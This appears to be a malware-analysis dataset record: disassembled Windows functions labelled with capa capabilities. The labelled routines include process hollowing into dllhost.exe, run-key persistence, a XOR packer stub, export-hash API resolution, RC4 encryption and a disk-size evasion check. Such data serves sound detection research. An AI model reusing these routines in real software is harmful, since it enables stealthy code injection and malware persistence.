joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401cd0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x134
push ebp
push esi
push edi
sub ecx, dword [esp + 0xc5]
mov edi, edi
xor dword [esp + 0x21], eax
mov eax, dword [ebx + 0x3c]
mov dword [esp + 0x18], 0
add eax, ebx
sub esi, esi
xor dword [esp + 0x48], eax
or dword [esp + 0x46], eax
mov edi, dword [eax + 0x78]
mov esi, dword [edi + ebx + 0x24]
add edi, ebx
add esi, ebx
mov dword [esp + 0x14], esi
mov ecx, dword [esp + 0x75]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
add eax, edi
mov ebp, dword [edi + 0x20]
mov eax, dword [edi + 0x1c]
add eax, ebx
add ebp, ebx
cmp dword [edi + 0x18], 0
mov dword [esp + 0x1c], eax
mov dword [esp + 0xc], 0
jle 0x401da9
mov eax, dword [esp + 0xc]
mov ecx, dword [ebp + eax*4]
mov al, byte [ecx + ebx]
add ecx, ebx
xor esi, esi
test al, al
je 0x401d59
movsx edx, al
mov al, byte [ecx + 1]
add ecx, 1
rol esi, 3
xor esi, edx
test al, al
jne 0x401d47
mov eax, 0x2ca
mov edx, 0x29
sub eax, 6
mov dword [esp + 0x10], eax
je 0x401d75
mov eax, 4
mov dword [esp + 0x10], eax
sub ecx, dword [esp + 0x10]
sub edx, 1
jne 0x401d63
cmp esi, dword [esp + 0x144]
je 0x401d99
mov eax, dword [esp + 0xc]
add eax, 1
cmp eax, dword [edi + 0x18]
mov dword [esp + 0xc], eax
jl 0x401d34
jmp 0x401da5
mov dword [esp + 0x18], 1
mov eax, dword [esp + 0x75]
mov esi, dword [esp + 0x14]
call fcn.004017e0
cmp dword [esp + 0x18], 0
jne 0x401dc1
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x134
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0xc]
movzx ecx, word [esi + eax*2]
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + ecx*4]
pop edi
pop esi
add eax, ebx
pop ebp
add esp, 0x134
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
nop
nop
mov ebx, 0x407ef8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x12c77502
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x66f5533f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40002336
Capabilities:
Check if file exists
Create process on windows
Create thread
Get file attributes
Persist via run registry key

Disassembly:
push esi
push edi
push ecx
mov edx, str.type
mov esi, ecx
call fcn.400065dd
pop ecx
mov ecx, dword [eax + 0x10]
call fcn.40006e68
cmp eax, 0x2681104
je 0x400023f0
cmp eax, 0xaa510b0
je 0x4000239d
cmp eax, 0x344b8f60
je 0x40002386
cmp eax, 0xf8a9a8d4
jne 0x4000243f
call fcn.40007197
test eax, eax
jne 0x4000243f
pop edi
pop esi
jmp fcn.4000194b
push ecx
mov edx, str.options
mov ecx, esi
call fcn.400065dd
pop ecx
pop edi
mov ecx, eax
pop esi
jmp fcn.40001c1f
push ecx
mov edx, str.options
mov ecx, esi
call fcn.400065dd
mov edx, str.file
mov ecx, eax
call fcn.400065dd
mov esi, eax
mov edx, str.AccessToken
mov ecx, esi
call fcn.400065dd
mov edx, str.Hash
mov ecx, esi
mov edi, dword [eax + 0x10]
call fcn.400065dd
mov ecx, dword [eax + 0x10]
call fcn.40005508
mov ecx, edi
mov esi, eax
call fcn.40005508
mov edx, esi
mov ecx, eax
call fcn.40001864
pop ecx
jmp 0x4000243f
push ebx
push ecx
mov edx, str.options
mov ecx, esi
call fcn.400065dd
mov edx, str.parameters
mov ecx, eax
call fcn.400065dd
pop ecx
mov esi, dword [eax + 0x10]
mov ecx, esi
call fcn.40005508
mov ebx, 0x8000
mov edi, eax
push ebx
push 0
push esi
call dword [0x40009d00]
push ecx
mov edx, edi
mov ecx, 0x40008894
call fcn.40004878
pop ecx
push ebx
push 0
push edi
call dword [0x40009d00]
pop ebx
pop edi
pop esi
ret
Function at 0x40002710
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 4
mov edi, 0x3000
mov esi, 0x20a
push edi
push esi
xor ebx, ebx
push ebx
call dword [0x40009d08]
push 4
push edi
push esi
push ebx
mov dword [ebp - 0x14], eax
call dword [0x40009d08]
push 4
push edi
push esi
push ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], 0x5c3a41
call dword [0x40009d08]
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov eax, dword [ebp - 0x1c]
movlpd qword [ebp - 0x10], xmm0
mov ebx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
push 0x1a
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
pop esi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x400027ef
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x400027ef
push 0
push 0x400
push dword [ebp - 0x24]
push dword [ebp - 0x28]
call sub.ntdll.dll__alldiv
push 0
push 0x100000
push edx
push eax
call sub.ntdll.dll__alldiv
push 0
push 0x400
push dword [ebp - 0x2c]
add edi, eax
push dword [ebp - 0x30]
adc ebx, edx
call sub.ntdll.dll__alldiv
push 0
push 0x100000
push edx
push eax
call sub.ntdll.dll__alldiv
add dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
adc ecx, edx
mov dword [ebp - 4], ecx
jmp 0x400027f2
mov ecx, dword [ebp - 4]
inc byte [ebp - 8]
sub esi, 1
jne 0x40002775
mov esi, edi
mov eax, ebx
sub esi, dword [ebp - 0xc]
sbb eax, ecx
cmp byte [0x40009cd0], 0
jne 0x4000282e
test ebx, ebx
jl 0x40002826
jg 0x4000281b
cmp edi, 0x78
jb 0x40002826
test eax, eax
jg 0x4000282e
jl 0x40002826
cmp esi, 0x32
jae 0x4000282e
push 0
call dword [0x40009cf4]
mov ebx, dword [ebp - 0x14]
mov edx, ebx
push ecx
mov ecx, esi
call fcn.4000554d
mov esi, dword [ebp - 0x18]
mov ecx, edi
mov edx, esi
call fcn.4000554d
mov edx, 0x40008a5c
mov ecx, ebx
call fcn.400051f3
mov edx, esi
call fcn.400051f3
mov dword [esp], 0x8000
push 0
push esi
call dword [0x40009d00]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40002ebc
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x20], ebx
mov eax, dword [ebx + 0x44]
lea ecx, [ebx + 2]
mov edi, dword [ebx + 0x40]
mov dword [ebp - 8], eax
mov eax, dword [ebx + 0x48]
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x4c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebx + 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x58]
mov dword [ebp - 4], edi
mov edi, dword [ebx + 0x50]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 0x5c]
xor ebx, ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], ecx
jmp 0x40002f0a
mov edi, dword [ebp - 0x10]
cmp ebx, 0x10
jae 0x40002f2f
movzx esi, byte [ecx - 2]
movzx eax, byte [ecx - 1]
shl esi, 8
or esi, eax
movzx eax, byte [ecx]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 1]
shl esi, 8
or esi, eax
jmp 0x40002f6f
mov ecx, dword [ebp + ebx*4 - 0x168]
mov esi, ecx
mov edx, dword [ebp + ebx*4 - 0x134]
mov eax, ecx
rol esi, 0xe
ror eax, 7
xor esi, eax
shr ecx, 3
xor esi, ecx
mov eax, edx
mov ecx, edx
rol eax, 0xd
rol ecx, 0xf
xor ecx, eax
shr edx, 0xa
xor ecx, edx
add esi, ecx
add esi, dword [ebp + ebx*4 - 0x148]
add esi, dword [ebp + ebx*4 - 0x16c]
mov edx, edi
mov dword [ebp + ebx*4 - 0x12c], esi
mov eax, edi
ror edx, 0xb
rol eax, 7
mov ecx, edi
xor edx, eax
not ecx
and ecx, dword [ebp - 0x18]
mov eax, edi
and edi, dword [ebp - 0x14]
xor edi, ecx
ror eax, 6
mov ecx, dword [ebp - 0x18]
xor edx, eax
mov eax, dword [ebp - 4]
add edi, edx
add edi, dword [ebx*4 + 0x400081b8]
mov edx, dword [ebp - 8]
add edi, esi
add edi, dword [ebp - 0x28]
and edx, eax
mov esi, dword [ebp - 8]
mov dword [ebp - 0x28], ecx
xor esi, eax
mov ecx, dword [ebp - 0x14]
and esi, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x24]
add ecx, edi
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov ecx, eax
mov dword [ebp - 8], eax
rol eax, 0xa
ror ecx, 0xd
xor ecx, eax
mov eax, dword [ebp - 4]
ror eax, 2
xor ecx, eax
mov eax, esi
add ecx, edi
xor eax, edx
add eax, ecx
mov ecx, dword [ebp - 0x1c]
inc ebx
mov dword [ebp - 4], eax
add ecx, 4
mov dword [ebp - 0x1c], ecx
cmp ebx, 0x40
jb 0x40002f07
mov ebx, dword [ebp - 0x20]
mov ecx, dword [ebx + 0x44]
mov edx, dword [ebx + 0x48]
mov esi, dword [ebx + 0x4c]
mov edi, dword [ebx + 0x50]
mov eax, dword [ebx + 0x40]
add eax, dword [ebp - 4]
mov ebx, dword [ebx + 0x54]
mov dword [ebp - 0x2c], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebx + 0x40], eax
mov eax, dword [ebp - 8]
add eax, ecx
mov ecx, ebx
mov dword [ecx + 0x44], eax
mov eax, dword [ebp - 0xc]
add eax, edx
mov edx, dword [ebp - 0x18]
add dword [ecx + 0x58], edx
mov dword [ecx + 0x48], eax
mov eax, dword [ebp - 0x24]
add eax, esi
mov esi, dword [ebp - 0x28]
mov dword [ecx + 0x4c], eax
mov eax, dword [ebp - 0x10]
add eax, edi
mov dword [ecx + 0x50], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x2c]
add dword [ecx + 0x5c], esi
pop edi
pop esi
mov dword [ecx + 0x54], eax
pop ebx
leave
ret
Function at 0x40003168
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
and dword [ebp - 0xc], 0
mov eax, ecx
and dword [ebp - 0x10], 0
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
mov ebx, edx
mov dword [ebp - 0x30], 0x6a09e667
mov dword [ebp - 0x2c], 0xbb67ae85
mov dword [ebp - 0x28], 0x3c6ef372
mov dword [ebp - 0x24], 0xa54ff53a
mov dword [ebp - 0x20], 0x510e527f
mov dword [ebp - 0x1c], 0x9b05688c
mov dword [ebp - 0x18], 0x1f83d9ab
mov dword [ebp - 0x14], 0x5be0cd19
test eax, eax
je 0x40003205
push edi
xor edi, edi
test ebx, ebx
je 0x40003204
mov al, byte [edi + eax]
mov byte [ebp + esi - 0x70], al
mov esi, dword [ebp - 8]
inc esi
mov dword [ebp - 8], esi
cmp esi, 0x40
jne 0x400031fc
lea ecx, [ebp - 0x70]
call fcn.40002ebc
mov eax, dword [ebp - 0x10]
cmp eax, 0xfffffdff
jbe 0x400031ef
inc dword [ebp - 0xc]
add eax, 0x200
xor esi, esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], esi
mov eax, dword [ebp - 4]
inc edi
cmp edi, ebx
jb 0x400031c7
pop edi
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x70]
call fcn.40003069
pop esi
pop ebx
leave
ret

Function at 0x40003214
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call sub.ntdll.dll__chkstk
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
mov dword [ebp - 4], ecx
push ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.ntdll.dll_wcslen]
pop ecx
mov ecx, eax
xor esi, esi
mov eax, esi
mov dword [ebp + esi*4 - 0x814], esi
cdq
idiv ecx
movzx eax, word [ebx + edx*2]
mov dword [ebp + esi*4 - 0x1014], eax
inc esi
cmp esi, 0x100
jl 0x4000323b
xor esi, esi
xor edx, edx
mov eax, dword [ebp + edx - 0x1014]
mov ecx, dword [ebp + edx - 0x814]
add eax, ecx
add esi, eax
and esi, 0x800000ff
jns 0x40003281
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [ebp + esi*4 - 0x814]
mov dword [ebp + edx - 0x814], eax
add edx, 4
mov dword [ebp + esi*4 - 0x814], ecx
cmp edx, 0x400
jl 0x4000325f
push 4
push 0x3000
lea eax, [edi*2 + 2]
push eax
push 0
call dword [0x40009d08]
mov esi, dword [ebp + 0xc]
xor ebx, ebx
and dword [ebp - 8], ebx
mov dword [ebp - 0x14], eax
test edi, edi
jle 0x40003350
mov edx, dword [ebp - 4]
sub edx, esi
mov dword [ebp - 4], edi
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 0xc]
inc ebx
and ebx, 0x800000ff
jns 0x400032ea
dec ebx
or ebx, 0xffffff00
inc ebx
mov ecx, dword [ebp + ebx*4 - 0x814]
add esi, ecx
and esi, 0x800000ff
jns 0x40003303
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [ebp + esi*4 - 0x814]
mov dword [ebp + ebx*4 - 0x814], eax
mov dword [ebp + esi*4 - 0x814], ecx
mov eax, dword [ebp + ebx*4 - 0x814]
add eax, ecx
and eax, 0x800000ff
jns 0x4000332f
dec eax
or eax, 0xffffff00
inc eax
mov ax, word [ebp + eax*4 - 0x814]
xor ax, word [edx + edi]
mov word [edi], ax
add edi, 2
sub dword [ebp - 4], 1
jne 0x400032d9
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
push 0x8000
push 0
push eax
call dword [0x40009d00]
xor eax, eax
mov word [esi + edi*2], ax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4000336b
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
jbe 0x4000343d
push ebx
push esi
xor esi, esi
push edi
mov eax, esi
mov byte [ebp + eax - 0x10c], al
inc eax
cmp eax, 0x100
jb 0x4000338b
mov edi, esi
xor edx, edx
mov bl, byte [ebp + edi - 0x10c]
mov eax, edi
div dword [ebp - 8]
movzx eax, byte [edx + ecx]
add eax, esi
movzx ecx, bl
add ecx, eax
movzx esi, cl
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + esi - 0x10c]
mov byte [ebp + edi - 0x10c], al
inc edi
mov byte [ebp + esi - 0x10c], bl
cmp edi, 0x100
jb 0x4000339c
mov eax, dword [ebp + 8]
xor esi, esi
mov ebx, dword [ebp + 0xc]
mov edi, esi
mov dword [ebp - 4], eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x10c]
movzx eax, cl
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x10c]
mov byte [ebp + edi - 0x10c], al
mov eax, dword [ebp - 4]
mov byte [ebp + esi - 0x10c], cl
movzx edx, byte [ebp + edi - 0x10c]
movzx ecx, cl
add edx, ecx
movzx ecx, dl
mov cl, byte [ebp + ecx - 0x10c]
xor byte [eax], cl
inc eax
mov dword [ebp - 4], eax
sub ebx, 1
jne 0x400033e6
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
leave
ret
Function at 0x40003595
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 0xc], ecx
xor dl, dl
mov dword [ebp - 0x10], edi
xor eax, eax
mov byte [ebp - 1], dl
xor ebx, ebx
mov dword [ebp - 8], eax
xor esi, esi
test edi, edi
mov edi, dword [ebp + 8]
je 0x40003695
mov ecx, dword [ebp - 0xc]
mov dh, byte [eax + ecx]
mov eax, ebx
mov byte [ebp + 0xb], dh
sub eax, 0
je 0x40003629
sub eax, 1
je 0x4000360d
sub eax, 1
jne 0x4000363c
movzx ecx, byte [ebp - 1]
xor ebx, ebx
movzx edx, dh
and ecx, 0xf
mov eax, edx
shl ecx, 2
shr eax, 6
and edx, 0x3f
or ecx, eax
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edi], al
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov dh, byte [ebp + 0xb]
mov byte [esi + edi + 1], al
add esi, 2
jmp 0x4000363c
movzx ecx, dl
and ecx, 3
movzx eax, dh
shr eax, 4
shl ecx, 4
or ecx, eax
push 2
pop ebx
mov al, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x40003638
xor ebx, ebx
movzx eax, dh
inc ebx
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + edi], al
inc esi
mov eax, dword [ebp - 8]
mov dl, dh
inc eax
mov byte [ebp - 1], dl
mov ecx, esi
mov dword [ebp - 8], eax
cmp eax, dword [ebp - 0x10]
jb 0x400035bf
sub ebx, 1
je 0x40003677
sub ebx, 1
jne 0x40003695
movzx eax, dl
lea esi, [ecx + 1]
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + edi], al
mov byte [esi + edi], 0x3d
inc esi
jmp 0x40003695
movzx eax, dl
lea esi, [ecx + 1]
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + edi], al
mov word [esi + edi], 0x3d3d
add esi, 2
mov byte [esi + edi], 0
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x400036a0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov eax, ecx
mov dword [ebp - 4], eax
push esi
push edi
test bl, 3
jne 0x40003728
xor esi, esi
xor edi, edi
test ebx, ebx
je 0x40003724
mov edx, dword [ebp + 8]
mov al, byte [edi + eax]
cmp al, 0x3d
je 0x40003724
test al, al
js 0x40003728
movzx eax, al
mov cl, byte [eax + 0x400082f8]
cmp cl, 0xff
je 0x40003728
mov eax, edi
and eax, 3
sub eax, 0
je 0x40003716
sub eax, 1
je 0x40003706
sub eax, 1
je 0x400036f6
sub eax, 1
jne 0x4000371c
or byte [esi + edx], cl
inc esi
jmp 0x4000371c
mov al, cl
shr al, 2
and al, 0xf
or byte [esi + edx], al
inc esi
shl cl, 6
jmp 0x40003719
mov al, cl
shr al, 4
and al, 3
or byte [esi + edx], al
inc esi
shl cl, 4
jmp 0x40003719
shl cl, 2
mov byte [esi + edx], cl
mov eax, dword [ebp - 4]
inc edi
cmp edi, ebx
jb 0x400036be
mov eax, esi
jmp 0x4000372a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40004b7c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov edi, 0x3000
mov ebx, 0x822
push edi
push ebx
push 0
call dword [0x40009d08]
push 4
push edi
push ebx
mov esi, eax
push 0
mov dword [ebp - 4], esi
call dword [0x40009d08]
push 4
push 0x3000
push ebx
push 0
mov edi, eax
call dword [0x40009d08]
push 4
push 0x3000
push 0x20a
push 0
mov ebx, eax
call dword [0x40009d08]
push 0x410
push esi
push 0
mov dword [ebp - 8], eax
call dword [0x40009cfc]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.4000521a
call fcn.40005722
mov edx, str.xjhnsny3jj
mov ecx, eax
call fcn.400052a0
test eax, eax
jne 0x40004c44
push eax
xor ecx, ecx
mov edx, 0x40008084
push eax
inc ecx
call fcn.4000499c
pop ecx
pop ecx
mov esi, 0x8000
push esi
push 0
push dword [ebp - 4]
call dword [0x40009d00]
push esi
push 0
push edi
call dword [0x40009d00]
push esi
push 0
push ebx
call dword [0x40009d00]
push esi
push 0
push dword [ebp - 8]
jmp 0x40004d11
mov esi, 0x8000
push esi
push 0
push dword [ebp - 8]
call dword [0x40009d00]
call fcn.400071ee
cmp eax, 0x2000
jb 0x40004d17
call fcn.40004ae2
mov edx, eax
mov ecx, edi
call fcn.4000521a
mov edx, str.aljssy3jj
call fcn.400051f3
mov ecx, dword [ebp - 4]
mov edx, edi
call fcn.400052a0
test eax, eax
je 0x40004cf7
and dword [ebp - 8], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40004ca6
test al, 0x10
je 0x40004ca6
push edi
call dword [0x40009d2c]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
call fcn.40006d8f
test eax, eax
je 0x40004cc2
push dword [ebp - 8]
mov edx, eax
mov ecx, edi
call fcn.40006e0a
pop ecx
mov edx, edi
mov ecx, ebx
call fcn.4000521a
mov edx, 0x40008b94
call fcn.400051f3
mov edx, dword [ebp - 4]
call fcn.400051f3
mov edx, str._jsxlOO
call fcn.400051f3
push 0
call fcn.400048b9
pop ecx
push 0
call dword [0x40009cf4]
push esi
push 0
push dword [ebp - 4]
call dword [0x40009d00]
push esi
push 0
push edi
call dword [0x40009d00]
push esi
push 0
push ebx
call dword [0x40009d00]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40004fd3
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, dword [0x4000a840]
cmp esi, 0x270
jl 0x40004f9d
push ebx
xor esi, esi
mov ebx, 0x7fffffff
push edi
mov edx, esi
mov ecx, dword [edx*4 + 0x40009e84]
xor ecx, dword [edx*4 + 0x40009e80]
and ecx, ebx
xor ecx, dword [edx*4 + 0x40009e80]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [eax*4 + 0x40008bb0]
xor ecx, dword [edx*4 + 0x4000a4b4]
mov dword [edx*4 + 0x40009e80], ecx
inc edx
cmp edx, 0xe3
jl 0x40004ef9
lea edi, [edx*4 + 0x40009e80]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, ebx
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
mov eax, dword [eax*4 + 0x40008bb0]
xor eax, dword [edx - 0x390]
xor eax, ecx
mov dword [edi], eax
mov edi, edx
mov eax, dword [edx]
cmp edi, 0x4000a83c
jl 0x40004f3e
mov ecx, dword [0x40009e80]
xor ecx, dword [0x4000a83c]
and ecx, ebx
xor ecx, dword [0x4000a83c]
mov eax, ecx
shr ecx, 1
and eax, 1
pop edi
pop ebx
xor ecx, dword [eax*4 + 0x40008bb0]
xor ecx, dword [0x4000a4b0]
mov dword [0x4000a83c], ecx
mov ecx, dword [esi*4 + 0x40009e80]
mov eax, ecx
shr eax, 0xb
inc esi
xor ecx, eax
mov dword [0x4000a840], esi
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop esi
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x40009e7c]
je 0x4000501a
xor edx, edx
mov dword [0x40009e7c], eax
mov dword [0x40009e80], eax
inc edx
mov eax, dword [edx*4 + 0x40009e7c]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [edx*4 + 0x40009e80], eax
inc edx
cmp edx, 0x270
jl 0x40004fee
mov dword [0x4000a840], edx
jmp 0x40004edb
Function at 0x40005784
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
mov ebx, edx
push edi
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
jne 0x400058b4
push esi
mov esi, dword [sym.imp.ntdll.dll_memset]
lea eax, [ebp - 0x1c]
push 0x10
push 0
push eax
call esi
push 0x44
lea eax, [ebp - 0x60]
push 0
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x1c]
xor esi, esi
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push esi
push str.C:WindowsSystem32dllhost.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x400058b3
push 4
push 0x1000
push 4
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push esi
mov dword [ebp - 0xc], esi
mov dword [esi], 0x10007
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x400058b3
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov dword [ebp - 4], eax
push dword [edi + 0x54]
push ebx
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and dword [ebp - 8], 0
xor eax, eax
cmp ax, word [edi + 6]
jae 0x40005879
lea esi, [edi + 0x10c]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, ebx
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, eax
jl 0x4000584a
mov esi, dword [ebp - 0xc]
push 0
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 4]
push esi
mov dword [esi + 0xb0], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop esi
pop edi
pop ebx
leave
ret

Function at 0x40006e8d
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 4], eax
popal
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40006eb6
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 4], eax
popal
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret